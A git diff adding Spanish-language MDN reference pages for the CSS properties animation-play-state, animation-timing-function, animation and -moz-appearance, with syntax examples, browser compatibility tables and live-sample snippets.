+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Tutorials/Using_CSS_animations" title="Tutorial about CSS animations">Usando CSS animations</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/es/web/css/animation-play-state/index.html b/files/es/web/css/animation-play-state/index.html
new file mode 100644
index 0000000000..ea24e449de
--- /dev/null
+++ b/files/es/web/css/animation-play-state/index.html
@@ -0,0 +1,134 @@
+---
+title: animation-play-state
+slug: Web/CSS/animation-play-state
+translation_of: Web/CSS/animation-play-state
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en-US/docs/CSS" title="CSS">CSS</a> <strong><code>animation-play-state</code></strong> determina si una animación está en ejecución o en pausa. Puede ser consultada para determinar si la animación se está ejecutando. Además, su valor se puede establecer para pausar y reanudar una animación.</p>
+
+<p>Reanudando una animación pausada, ésta empezará en el punto en el que fue pausada, en vez de empezar desde el principio.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* Single animation */
+animation-play-state: running;
+animation-play-state: paused;
+
+/* Multiple animations */
+animation-play-state: paused, running, running;
+
+/* Global values */
+animation-play-state: inherited;
+animation-play-state: initial;
+animation-play-state: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>running</code></dt>
+ <dd>La animación se está ejecutando.</dd>
+ <dt><code>paused</code></dt>
+ <dd>La animación está pausada.</dd>
+</dl>
+
+<h3 id="Syntax_formal">Syntax formal</h3>
+
+<pre class="syntaxbox"><code>{{csssyntax}}</code>
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Visita <a href="https://developer.mozilla.org/es/CSS/Usando_animaciones_CSS" title="en/CSS/CSS_animations">animaciones CSS</a> para ver algunos ejemplos.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-play-state', 'animation-play-state')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Definición incial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_entre_navegadores">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>12 {{property_prefix("-o")}}<br>
+    12.10</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect2"> </h2>
+
+<h2 id="Consulte_también">Consulte también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="CSS developer guide about CSS animations">Usando animaciones CSS</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/es/web/css/animation-timing-function/index.html b/files/es/web/css/animation-timing-function/index.html
new file mode 100644
index 0000000000..3ab99bb113
--- /dev/null
+++ b/files/es/web/css/animation-timing-function/index.html
@@ -0,0 +1,141 @@
+---
+title: animation-timing-function
+slug: Web/CSS/animation-timing-function
+translation_of: Web/CSS/animation-timing-function
+---
+<p>{{CSSRef}}{{SeeCompatTable}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/en-US/docs/CSS" title="CSS">CSS</a> <code><strong>animation-timing-function</strong></code> especifica cómo una animación CSS debe avanzar sobre la duración de cada ciclo. Los posibles valores son una o varias {{cssxref("&lt;timing-function&gt;")}}.</p>
+
+<p>Para animaciones con keyframes,  la timing function se aplica entre los <a href="/en-US/docs/Web/CSS/@keyframes" title="/en-US/docs/CSS/@keyframes">keyframes</a> en lugar de sobre toda la animación. Es decir, se aplica al comienzo del keyframe y al final del mismo.</p>
+
+<p>Una timing function definida dentro de un keyframe afecta a ese keyframe. Si no está definida para el keyframe, se aplica la timing function para la animación en general.</p>
+
+<p>A menudo, es conveniente usar la propiedad abreviada {{cssxref("animation")}} para ajustar las propiedades de animación una sola vez.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="brush: css">/* Keyword values */
+animation-timing-function: ease;
+animation-timing-function: ease-in;
+animation-timing-function: ease-out;
+animation-timing-function: ease-in-out;
+animation-timing-function: linear;
+animation-timing-function: step-start;
+animation-timing-function: step-end;
+
+/* Function values */
+animation-timing-function: cubic-bezier(0.1, 0.7, 1.0, 0.1);
+animation-timing-function: steps(4, end);
+
+/* Multiple animations */
+animation-timing-function: ease, step-start, cubic-bezier(0.1, 0.7, 1.0, 0.1);
+
+/* Global values */
+animation-timing-function: inherited;
+animation-timing-function: initial;
+animation-timing-function: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>&lt;timingfunction&gt;</code></dt>
+ <dd>Cada {{cssxref("&lt;timing-function&gt;")}} representa la timing function vinculada a la propiedad correspondiente a animar, como se define en {{cssxref ("animación-propiedad")}}.</dd>
+</dl>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<p>Visita <a href="https://developer.mozilla.org/es/CSS/Usando_animaciones_CSS" title="en/CSS/CSS_animations">animaciones CSS</a> para ver algunos ejemplos.</p>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-timing-function', 'animation-timing-function')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Definición incial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidad entre navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>12 {{property_prefix("-o")}}<br>
+    12.10</td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12{{property_prefix("-o")}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Consulte_también">Consulte también</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="CSS developer guide about CSS animations">Usando animaciones CSS</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/es/web/css/animation/index.html b/files/es/web/css/animation/index.html
new file mode 100644
index 0000000000..23b241a346
--- /dev/null
+++ b/files/es/web/css/animation/index.html
@@ -0,0 +1,127 @@
+---
+title: animation
+slug: Web/CSS/animation
+tags:
+  - CSS
+  - CSS Animations
+  - CSS Property
+  - Experimental
+  - Reference
+translation_of: Web/CSS/animation
+---
+<p>{{CSSRef}}</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <code>animation</code> de <a href="/es/CSS" title="CSS">CSS</a> es una <a href="/en/CSS/Shorthand_properties" title="Shorthand properties">propiedad abreviada (shorthand property) </a>para {{ cssxref("animation-name") }}, {{ cssxref("animation-duration") }}, {{ cssxref("animation-timing-function") }}, {{ cssxref("animation-delay") }}, {{ cssxref("animation-iteration-count") }} y {{ cssxref("animation-direction") }}.</p>
+
+<p>La <a href="/es/docs/CSS/Transiciones_de_CSS#Propiedades_que_pueden_ser_animadas" title="en/CSS/CSS_transitions#Properties_that_can_be_animated">lista de propiedades CSS que pueden ser animadas </a>está disponible; cabe señalar que estas son las mismas propiedades soportadas por <a href="/es/docs/CSS/Transiciones_de_CSS" title="en/CSS/CSS_transitions">CSS transitions</a>.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="eval syntaxbox">Formal grammar:  [ &lt;'animation-name'&gt; || &lt;'animation-duration'&gt; || <a href="/en/CSS/timing-function" title="en/CSS/timing-function">&lt;'animation-timing-function'&gt;</a> || &lt;'animation-delay'&gt; ||
+                   &lt;'animation-iteration-count'&gt; || &lt;'animation-direction'&gt; || &lt;'animation-fill-mode'&gt; ]
+                 [, [&lt;'animation-name'&gt; || &lt;'animation-duration'&gt; || <a href="/en/CSS/timing-function" title="en/CSS/timing-function">&lt;'animation-timing-function'&gt;</a> || &lt;'animation-delay'&gt; ||
+                     &lt;'animation-iteration-count'&gt; || &lt;'animation-direction'&gt; || &lt;'animation-fill-mode'&gt;] ]*
+</pre>
+
+<h2 id="Ejemplos"><nobr>Ejemplos</nobr></h2>
+
+<p>Consulte <a href="/en/CSS/CSS_animations" title="en/CSS/CSS_animations">CSS animations</a> para ver los ejemplos.</p>
+
+<h2 id="Sobre_Accesibilidad">Sobre Accesibilidad</h2>
+
+<p>Las animaciones titilantes e intermitentes pueden causar dificultades a las personas con discapacidades cognitivas como Trastorno por Déficit de Atención con Hiperactividad (ADHD) además de causar ataques a personas con cinestosis, epilepsia, migranias o <span class="short_text" id="result_box" lang="es"><span>síndrome de sensibilidad escotópica</span></span>.</p>
+
+<p>Por favor, considerá ofrecer un mecanismo para pausar o deshabilitar las animaciones, como utilizando <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@media/prefers-reduced-motion">Reduced Motion Media Query.</a></p>
+
+<p>Para más información (en inglés):</p>
+
+<ul>
+ <li><a href="https://alistapart.com/article/designing-safer-web-animation-for-motion-sensitivity">Designing Safer Web Animation For Motion Sensitivity · An A List Apart Article </a></li>
+ <li><a href="https://css-tricks.com/introduction-reduced-motion-media-query/">An Introduction to the Reduced Motion Media Query | CSS-Tricks</a></li>
+ <li><a href="https://webkit.org/blog/7551/responsive-design-for-motion/">Responsive Design for Motion | WebKit</a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Operable#Guideline_2.2_%E2%80%94_Enough_Time_Provide_users_enough_time_to_read_and_use_content">MDN Understanding WCAG, Guideline 2.2 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-pause.html">Understanding Success Criterion 2.2.2  | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#animation', 'animation') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility"><nobr>Compatibilidad con navegadores</nobr></h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatVersionUnknown() }}{{ property_prefix("-webkit") }}</td>
+   <td>{{ CompatGeckoDesktop("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>12{{ property_prefix("-o") }}<br>
+    12.5 <a href="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot" title="http://my.opera.com/ODIN/blog/2012/08/03/a-hot-opera-12-50-summer-time-snapshot">#</a></td>
+   <td>4.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatGeckoMobile("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>iOS 2.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Consulte_también"><nobr>Consulte también</nobr></h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_animations" title="en/CSS/CSS_animations">Usando animaciones CSS</a></li>
+ <li>{{ domxref("AnimationEvent", "AnimationEvent") }}</li>
+</ul>
diff --git a/files/es/web/css/appearance/index.html b/files/es/web/css/appearance/index.html
new file mode 100644
index 0000000000..b9bb3a62cc
--- /dev/null
+++ b/files/es/web/css/appearance/index.html
@@ -0,0 +1,1556 @@
+---
+title: '-moz-appearance (-webkit-appearance)'
+slug: Web/CSS/appearance
+tags:
+  - Apariencia CSS
+  - CSS Referencia(2)
+  - No-estándar
+translation_of: Web/CSS/appearance
+---
+<div>{{non-standard_header}}{{CSSRef}}</div>
+
+<p>La propiedad CSS <code>-moz-appearance</code> se utiliza en Gecko (Firefox) para visualizar un elemento utilizando una plataforma nativa basada en el estilo del tema del sistema operativo.</p>
+
+<p>Esta propiedad es frecuentemente utilizada en hojas de estilo <a href="/en-US/docs/Mozilla/Tech/XUL/Tutorial">XUL</a> para diseñar widgets personalizados con un estilo apropiado a la plataforma. También se utiliza en las implementaciones <a href="/en-US/docs/XBL">XBL</a> de los widgets que se arman en la plataforma Mozilla.</p>
+
+<div class="note">
+<p><em>No utilizar</em> esta propiedad en sitios Web: no sólo porque no es estándar, sinó porque su comportamiento cambia de un navegador a otro. Incluso la palabra clave <code>none</code> no tiene el mismo comportamiento en cada elemento de formulario a través de diferentes navegadores, y alguno no la soporta en absoluto.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush: css">/* Lista parcial de valores válidos en Gecko */
+-moz-appearance: none;
+-moz-appearance: button;
+-moz-appearance: checkbox;
+-moz-appearance: scrollbarbutton-up;
+
+/* Lista parcial de valores válidos en WebKit/Blink */
+-webkit-appearance: none;
+-webkit-appearance: button;
+-webkit-appearance: checkbox;
+-webkit-appearance: scrollbarbutton-up;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p><code>&lt;appearance&gt;</code> es una de las siguientes palabras clave:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Value</th>
+   <th>Demo</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td><code>none</code></td>
+   <td>
+    <div id="sampleNone" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: none; -webkit-appearance: none; color: black;}</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;
+</pre>
+    </div>
+    {{EmbedLiveSample("sampleNone",100,50,"","", "nobutton")}}</td>
+   <td>No special styling is applied. This is the default. Note, however, {{bug(649849)}} and {{bug(605985)}}.</td>
+  </tr>
+  <tr>
+   <td><code>button</code></td>
+   <td>
+    <div id="sampleButton" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: button; -webkit-appearance: button; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButton",100,50,"","", "nobutton")}}</td>
+   <td>The element is drawn like a button.</td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-down</code></td>
+   <td>
+    <div id="sampleButtonArrowDown" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: button-arrow-down; -webkit-appearance: button-arrow-down; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowDown",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-next</code></td>
+   <td>
+    <div id="sampleButtonArrowNext" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: button-arrow-next; -webkit-appearance: button-arrow-next; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowNext",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-previous</code></td>
+   <td>
+    <div id="sampleButtonArrowPrevious" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: button-arrow-previous; -webkit-appearance: button-arrow-previous; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowPrevious",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>button-arrow-up</code></td>
+   <td>
+    <div id="sampleButtonArrowUp" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: button-arrow-up; -webkit-appearance: button-arrow-up; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonArrowUp",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>button-bevel</code></td>
+   <td>
+    <div id="sampleButtonBevel" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: button-bevel; -webkit-appearance: button-bevel; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonBevel",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>button-focus</code></td>
+   <td>
+    <div id="sampleButtonFocus" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: button-focus; -webkit-appearance: button-focus; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleButtonFocus",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>caret</code></td>
+   <td>
+    <div id="sampleCaret" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: caret; -webkit-appearance: caret; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCaret",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>checkbox</code></td>
+   <td>
+    <div id="sampleCheckbox" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: checkbox; -webkit-appearance: checkbox; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckbox",100,50,"","", "nobutton")}}</td>
+   <td>The element is drawn like a checkbox, including only the actual "checkbox" portion.</td>
+  </tr>
+  <tr>
+   <td><code>checkbox-container</code></td>
+   <td>
+    <div id="sampleCheckboxContainer" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: checkbox-container; -webkit-appearance: checkbox-container; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckboxContainer",100,50,"","", "nobutton")}}</td>
+   <td>The element is drawn like a container for a checkbox, which may include a prelighting background effect under certain platforms. Normally it would contain a label and a checkbox.</td>
+  </tr>
+  <tr>
+   <td><code>checkbox-label</code></td>
+   <td>
+    <div id="sampleCheckboxLabel" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: checkbox-label; -webkit-appearance: checkbox-label; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckboxLabel",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>checkmenuitem</code></td>
+   <td>
+    <div id="sampleCheckmenuitem" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: checkmenuitem; -webkit-appearance: checkmenuitem; height: 20px; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleCheckmenuitem",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>dualbutton</code></td>
+   <td>
+    <div id="sampleDualButton" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: dualbutton; -webkit-appearance: dualbutton; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleDualButton",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>groupbox</code></td>
+   <td>
+    <div id="sampleGroupbox" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: groupbox; -webkit-appearance: groupbox; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleGroupbox",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>listbox</code></td>
+   <td>
+    <div id="sampleListBox" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: listbox; -webkit-appearance: listbox; height:20px; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleListBox",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>listitem</code></td>
+   <td>
+    <div id="sampleListItem" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: listitem; -webkit-appearance: listitem; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleListItem",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menuarrow</code></td>
+   <td>
+    <div id="sampleMenuArrow" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menuarrow; -webkit-appearance: menuarrow; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuArrow",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menubar</code></td>
+   <td>
+    <div id="sampleMenubar" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menubar; -webkit-appearance: menubar; color: balck; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenubar",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menucheckbox</code></td>
+   <td>
+    <div id="sampleMenuCheckbox" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menucheckbox; -webkit-appearance: menucheckbox; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuCheckbox",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menuimage</code></td>
+   <td>
+    <div id="sampleMenuImage" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menuimage; -webkit-appearance: menuimage; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuImage",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menuitem</code></td>
+   <td>
+    <div id="sampleMenuItem" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menuitem; -webkit-appearance: menuitem; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuItem",100,50,"","", "nobutton")}}</td>
+   <td>The element is styled as menu item, item is highlighted when hovered.</td>
+  </tr>
+  <tr>
+   <td><code>menuitemtext</code></td>
+   <td>
+    <div id="sampleMenuItemText" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menuitemtext; -webkit-appearance: menuitemtext; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuItemText",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menulist</code></td>
+   <td>
+    <div id="sampleMenuList" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menulist; -webkit-appearance: menulist; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuList",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menulist-button</code></td>
+   <td>
+    <div id="sampleMenuListButton" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menulist-button; -webkit-appearance: menulist-button; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuListButton",100,50,"","", "nobutton")}}</td>
+   <td>The element is styled as a button that would indicate a menulist can be opened.</td>
+  </tr>
+  <tr>
+   <td><code>menulist-text</code></td>
+   <td>
+    <div id="sampleMenuListText" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menulist-text; -webkit-appearance: menulist-text; color: black; }</pre>
+
+    <pre class="brush:html">
+          &lt;div&gt;Lorem&lt;/div&gt;</pre>
+    </div>
+    {{EmbedLiveSample("sampleMenuListText",100,50,"","", "nobutton")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><code>menulist-textfield</code></td>
+   <td>
+    <div id="sampleMenuListTextfield" style="display: none;">
+    <pre class="brush:css">
+ div {-moz-appearance: menulist-textfield; -webkit-appearance: menulist-textfield; color: black; }</pre>
+
